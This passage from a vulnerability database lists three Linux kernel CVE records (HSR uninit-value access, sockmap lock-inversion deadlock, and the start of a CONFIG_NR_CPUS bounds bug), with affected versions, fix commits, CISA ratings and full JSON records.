Linux	Linux	Affected: 3.17 Unaffected: 0 , < 3.17 (semver) Unaffected: 4.19.311 , ≤ 4.19.* (semver) Unaffected: 5.4.273 , ≤ 5.4.* (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26863",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-10T14:26:51.386344Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-07-05T17:21:38.902Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:04.149Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e3b2bfb8ff1810a537b2aa55ba906a6743ed120c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/889ed056eae7fda85b769a9ab33c093379c45428"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7fb2d4d6bb1c85f7a23aace0ed6c86a95dea792a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a809bbfd0e503351d3051317288a70a4569a4949"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1ed222ca7396938eb1ab2d034f1ba0d8b00a7122"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/39cc316fb3bc5e7c9dc5eed314fe510d119c6862"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/97d2148ea435dff4b4e71817c9032eb321bcd37e"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/09e5cdbe2cc88c3c758927644a3eb02fac317209"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ddbec99f58571301679addbc022256970ca3eac6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:49:45.167Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/hsr/hsr_framereg.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e3b2bfb8ff1810a537b2aa55ba906a6743ed120c",
              "status": "affected",
              "version": "f266a683a4804dc499efc6c2206ef68efed029d0",
              "versionType": "git"
            },
            {
              "lessThan": "889ed056eae7fda85b769a9ab33c093379c45428",
              "status": "affected",
              "version": "f266a683a4804dc499efc6c2206ef68efed029d0",
              "versionType": "git"
            },
            {
              "lessThan": "7fb2d4d6bb1c85f7a23aace0ed6c86a95dea792a",
              "status": "affected",
              "version": "f266a683a4804dc499efc6c2206ef68efed029d0",
              "versionType": "git"
            },
            {
              "lessThan": "a809bbfd0e503351d3051317288a70a4569a4949",
              "status": "affected",
              "version": "f266a683a4804dc499efc6c2206ef68efed029d0",
              "versionType": "git"
            },
            {
              "lessThan": "1ed222ca7396938eb1ab2d034f1ba0d8b00a7122",
              "status": "affected",
              "version": "f266a683a4804dc499efc6c2206ef68efed029d0",
              "versionType": "git"
            },
            {
              "lessThan": "39cc316fb3bc5e7c9dc5eed314fe510d119c6862",
              "status": "affected",
              "version": "f266a683a4804dc499efc6c2206ef68efed029d0",
              "versionType": "git"
            },
            {
              "lessThan": "97d2148ea435dff4b4e71817c9032eb321bcd37e",
              "status": "affected",
              "version": "f266a683a4804dc499efc6c2206ef68efed029d0",
              "versionType": "git"
            },
            {
              "lessThan": "09e5cdbe2cc88c3c758927644a3eb02fac317209",
              "status": "affected",
              "version": "f266a683a4804dc499efc6c2206ef68efed029d0",
              "versionType": "git"
            },
            {
              "lessThan": "ddbec99f58571301679addbc022256970ca3eac6",
              "status": "affected",
              "version": "f266a683a4804dc499efc6c2206ef68efed029d0",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/hsr/hsr_framereg.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.17"
            },
            {
              "lessThan": "3.17",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.311",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.273",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.311",
                  "versionStartIncluding": "3.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.273",
                  "versionStartIncluding": "3.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "3.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "3.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "3.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "3.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "3.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "3.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.17",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nhsr: Fix uninit-value access in hsr_get_node()\n\nKMSAN reported the following uninit-value access issue [1]:\n\n=====================================================\nBUG: KMSAN: uninit-value in hsr_get_node+0xa2e/0xa40 net/hsr/hsr_framereg.c:246\n hsr_get_node+0xa2e/0xa40 net/hsr/hsr_framereg.c:246\n fill_frame_info net/hsr/hsr_forward.c:577 [inline]\n hsr_forward_skb+0xe12/0x30e0 net/hsr/hsr_forward.c:615\n hsr_dev_xmit+0x1a1/0x270 net/hsr/hsr_device.c:223\n __netdev_start_xmit include/linux/netdevice.h:4940 [inline]\n netdev_start_xmit include/linux/netdevice.h:4954 [inline]\n xmit_one net/core/dev.c:3548 [inline]\n dev_hard_start_xmit+0x247/0xa10 net/core/dev.c:3564\n __dev_queue_xmit+0x33b8/0x5130 net/core/dev.c:4349\n dev_queue_xmit include/linux/netdevice.h:3134 [inline]\n packet_xmit+0x9c/0x6b0 net/packet/af_packet.c:276\n packet_snd net/packet/af_packet.c:3087 [inline]\n packet_sendmsg+0x8b1d/0x9f30 net/packet/af_packet.c:3119\n sock_sendmsg_nosec net/socket.c:730 [inline]\n __sock_sendmsg net/socket.c:745 [inline]\n __sys_sendto+0x735/0xa10 net/socket.c:2191\n __do_sys_sendto net/socket.c:2203 [inline]\n __se_sys_sendto net/socket.c:2199 [inline]\n __x64_sys_sendto+0x125/0x1c0 net/socket.c:2199\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0x6d/0x140 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x63/0x6b\n\nUninit was created at:\n slab_post_alloc_hook+0x129/0xa70 mm/slab.h:768\n slab_alloc_node mm/slub.c:3478 [inline]\n kmem_cache_alloc_node+0x5e9/0xb10 mm/slub.c:3523\n kmalloc_reserve+0x13d/0x4a0 net/core/skbuff.c:560\n __alloc_skb+0x318/0x740 net/core/skbuff.c:651\n alloc_skb include/linux/skbuff.h:1286 [inline]\n alloc_skb_with_frags+0xc8/0xbd0 net/core/skbuff.c:6334\n sock_alloc_send_pskb+0xa80/0xbf0 net/core/sock.c:2787\n packet_alloc_skb net/packet/af_packet.c:2936 [inline]\n packet_snd net/packet/af_packet.c:3030 [inline]\n packet_sendmsg+0x70e8/0x9f30 net/packet/af_packet.c:3119\n sock_sendmsg_nosec net/socket.c:730 [inline]\n __sock_sendmsg net/socket.c:745 [inline]\n __sys_sendto+0x735/0xa10 net/socket.c:2191\n __do_sys_sendto net/socket.c:2203 [inline]\n __se_sys_sendto net/socket.c:2199 [inline]\n __x64_sys_sendto+0x125/0x1c0 net/socket.c:2199\n do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n do_syscall_64+0x6d/0x140 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x63/0x6b\n\nCPU: 1 PID: 5033 Comm: syz-executor334 Not tainted 6.7.0-syzkaller-00562-g9f8413c4a66f #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 11/17/2023\n=====================================================\n\nIf the packet type ID field in the Ethernet header is either ETH_P_PRP or\nETH_P_HSR, but it is not followed by an HSR tag, hsr_get_skb_sequence_nr()\nreads an invalid value as a sequence number. This causes the above issue.\n\nThis patch fixes the issue by returning NULL if the Ethernet header is not\nfollowed by an HSR tag."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:05:35.465Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e3b2bfb8ff1810a537b2aa55ba906a6743ed120c"
        },
        {
          "url": "https://git.kernel.org/stable/c/889ed056eae7fda85b769a9ab33c093379c45428"
        },
        {
          "url": "https://git.kernel.org/stable/c/7fb2d4d6bb1c85f7a23aace0ed6c86a95dea792a"
        },
        {
          "url": "https://git.kernel.org/stable/c/a809bbfd0e503351d3051317288a70a4569a4949"
        },
        {
          "url": "https://git.kernel.org/stable/c/1ed222ca7396938eb1ab2d034f1ba0d8b00a7122"
        },
        {
          "url": "https://git.kernel.org/stable/c/39cc316fb3bc5e7c9dc5eed314fe510d119c6862"
        },
        {
          "url": "https://git.kernel.org/stable/c/97d2148ea435dff4b4e71817c9032eb321bcd37e"
        },
        {
          "url": "https://git.kernel.org/stable/c/09e5cdbe2cc88c3c758927644a3eb02fac317209"
        },
        {
          "url": "https://git.kernel.org/stable/c/ddbec99f58571301679addbc022256970ca3eac6"
        }
      ],
      "title": "hsr: Fix uninit-value access in hsr_get_node()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26863",
    "datePublished": "2024-04-17T10:27:26.252Z",
    "dateReserved": "2024-02-19T14:20:24.184Z",
    "dateUpdated": "2026-05-12T11:49:45.167Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35895 (GCVE-0-2024-35895)

Vulnerability from cvelistv5 – Published: 2024-05-19 08:34 – Updated: 2026-05-12 11:52

Title

bpf, sockmap: Prevent lock inversion deadlock in map delete elem

Summary

In the Linux kernel, the following vulnerability has been resolved: bpf, sockmap: Prevent lock inversion deadlock in map delete elem syzkaller started using corpuses where a BPF tracing program deletes elements from a sockmap/sockhash map. Because BPF tracing programs can be invoked from any interrupt context, locks taken during a map_delete_elem operation must be hardirq-safe. Otherwise a deadlock due to lock inversion is possible, as reported by lockdep: CPU0 CPU1 ---- ---- lock(&htab->buckets[i].lock); local_irq_disable(); lock(&host->lock); lock(&htab->buckets[i].lock); <Interrupt> lock(&host->lock); Locks in sockmap are hardirq-unsafe by design. We expects elements to be deleted from sockmap/sockhash only in task (normal) context with interrupts enabled, or in softirq context. Detect when map_delete_elem operation is invoked from a context which is _not_ hardirq-unsafe, that is interrupts are disabled, and bail out with an error. Note that map updates are not affected by this issue. BPF verifier does not allow updating sockmap/sockhash from a BPF tracing program today.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/f7990498b05ac41f7…
https://git.kernel.org/stable/c/dd54b48db0c822ae7…
https://git.kernel.org/stable/c/d1e73fb19a4c872d7…
https://git.kernel.org/stable/c/a44770fed86515eed…
https://git.kernel.org/stable/c/668b3074aa14829e2…
https://git.kernel.org/stable/c/6af057ccdd8e76199…
https://git.kernel.org/stable/c/ff91059932401894e…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 604326b41a6fb9b4a78b6179335decee0365cd8c , < f7990498b05ac41f7d6a190dc0418ef1d21bf058 (git) Affected: 604326b41a6fb9b4a78b6179335decee0365cd8c , < dd54b48db0c822ae7b520bc80751f0a0a173ef75 (git) Affected: 604326b41a6fb9b4a78b6179335decee0365cd8c , < d1e73fb19a4c872d7a399ad3c66e8ca30e0875ec (git) Affected: 604326b41a6fb9b4a78b6179335decee0365cd8c , < a44770fed86515eedb5a7c00b787f847ebb134a5 (git) Affected: 604326b41a6fb9b4a78b6179335decee0365cd8c , < 668b3074aa14829e2ac2759799537a93b60fef86 (git) Affected: 604326b41a6fb9b4a78b6179335decee0365cd8c , < 6af057ccdd8e7619960aca1f0428339f213b31cd (git) Affected: 604326b41a6fb9b4a78b6179335decee0365cd8c , < ff91059932401894e6c86341915615c5eb0eca48 (git)
Linux	Linux	Affected: 4.20 Unaffected: 0 , < 4.20 (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.85 , ≤ 6.1.* (semver) Unaffected: 6.6.26 , ≤ 6.6.* (semver) Unaffected: 6.8.5 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35895",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-23T19:25:39.256006Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:34:48.419Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:48.577Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f7990498b05ac41f7d6a190dc0418ef1d21bf058"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/dd54b48db0c822ae7b520bc80751f0a0a173ef75"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d1e73fb19a4c872d7a399ad3c66e8ca30e0875ec"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a44770fed86515eedb5a7c00b787f847ebb134a5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/668b3074aa14829e2ac2759799537a93b60fef86"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6af057ccdd8e7619960aca1f0428339f213b31cd"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ff91059932401894e6c86341915615c5eb0eca48"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:30.641Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/core/sock_map.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "f7990498b05ac41f7d6a190dc0418ef1d21bf058",
              "status": "affected",
              "version": "604326b41a6fb9b4a78b6179335decee0365cd8c",
              "versionType": "git"
            },
            {
              "lessThan": "dd54b48db0c822ae7b520bc80751f0a0a173ef75",
              "status": "affected",
              "version": "604326b41a6fb9b4a78b6179335decee0365cd8c",
              "versionType": "git"
            },
            {
              "lessThan": "d1e73fb19a4c872d7a399ad3c66e8ca30e0875ec",
              "status": "affected",
              "version": "604326b41a6fb9b4a78b6179335decee0365cd8c",
              "versionType": "git"
            },
            {
              "lessThan": "a44770fed86515eedb5a7c00b787f847ebb134a5",
              "status": "affected",
              "version": "604326b41a6fb9b4a78b6179335decee0365cd8c",
              "versionType": "git"
            },
            {
              "lessThan": "668b3074aa14829e2ac2759799537a93b60fef86",
              "status": "affected",
              "version": "604326b41a6fb9b4a78b6179335decee0365cd8c",
              "versionType": "git"
            },
            {
              "lessThan": "6af057ccdd8e7619960aca1f0428339f213b31cd",
              "status": "affected",
              "version": "604326b41a6fb9b4a78b6179335decee0365cd8c",
              "versionType": "git"
            },
            {
              "lessThan": "ff91059932401894e6c86341915615c5eb0eca48",
              "status": "affected",
              "version": "604326b41a6fb9b4a78b6179335decee0365cd8c",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/core/sock_map.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.20"
            },
            {
              "lessThan": "4.20",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.85",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.26",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.85",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.26",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.5",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "4.20",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf, sockmap: Prevent lock inversion deadlock in map delete elem\n\nsyzkaller started using corpuses where a BPF tracing program deletes\nelements from a sockmap/sockhash map. Because BPF tracing programs can be\ninvoked from any interrupt context, locks taken during a map_delete_elem\noperation must be hardirq-safe. Otherwise a deadlock due to lock inversion\nis possible, as reported by lockdep:\n\n       CPU0                    CPU1\n       ----                    ----\n  lock(\u0026htab-\u003ebuckets[i].lock);\n                               local_irq_disable();\n                               lock(\u0026host-\u003elock);\n                               lock(\u0026htab-\u003ebuckets[i].lock);\n  \u003cInterrupt\u003e\n    lock(\u0026host-\u003elock);\n\nLocks in sockmap are hardirq-unsafe by design. We expects elements to be\ndeleted from sockmap/sockhash only in task (normal) context with interrupts\nenabled, or in softirq context.\n\nDetect when map_delete_elem operation is invoked from a context which is\n_not_ hardirq-unsafe, that is interrupts are disabled, and bail out with an\nerror.\n\nNote that map updates are not affected by this issue. BPF verifier does not\nallow updating sockmap/sockhash from a BPF tracing program today."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:13:19.610Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/f7990498b05ac41f7d6a190dc0418ef1d21bf058"
        },
        {
          "url": "https://git.kernel.org/stable/c/dd54b48db0c822ae7b520bc80751f0a0a173ef75"
        },
        {
          "url": "https://git.kernel.org/stable/c/d1e73fb19a4c872d7a399ad3c66e8ca30e0875ec"
        },
        {
          "url": "https://git.kernel.org/stable/c/a44770fed86515eedb5a7c00b787f847ebb134a5"
        },
        {
          "url": "https://git.kernel.org/stable/c/668b3074aa14829e2ac2759799537a93b60fef86"
        },
        {
          "url": "https://git.kernel.org/stable/c/6af057ccdd8e7619960aca1f0428339f213b31cd"
        },
        {
          "url": "https://git.kernel.org/stable/c/ff91059932401894e6c86341915615c5eb0eca48"
        }
      ],
      "title": "bpf, sockmap: Prevent lock inversion deadlock in map delete elem",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35895",
    "datePublished": "2024-05-19T08:34:50.276Z",
    "dateReserved": "2024-05-17T13:50:33.113Z",
    "dateUpdated": "2026-05-12T11:52:30.641Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35983 (GCVE-0-2024-35983)

Vulnerability from cvelistv5 – Published: 2024-05-20 09:47 – Updated: 2026-05-12 11:53

Title

bounds: Use the right number of bits for power-of-two CONFIG_NR_CPUS

Summary

In the Linux kernel, the following vulnerability has been resolved: bounds: Use the right number of bits for power-of-two CONFIG_NR_CPUS bits_per() rounds up to the next power of two when passed a power of two. This causes crashes on some machines and configurations.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/d34a516f2635090d3…
https://git.kernel.org/stable/c/66297b2ceda841f80…
https://git.kernel.org/stable/c/93ba36238db6a74a8…
https://git.kernel.org/stable/c/9b7c5004d7c5ae062…
https://git.kernel.org/stable/c/15aa09d6d84629eb5…
https://git.kernel.org/stable/c/ebfe41889b762f193…
https://git.kernel.org/stable/c/5af385f5f4cddf908…

Impacted products

2 products

Vendor	Product	Version
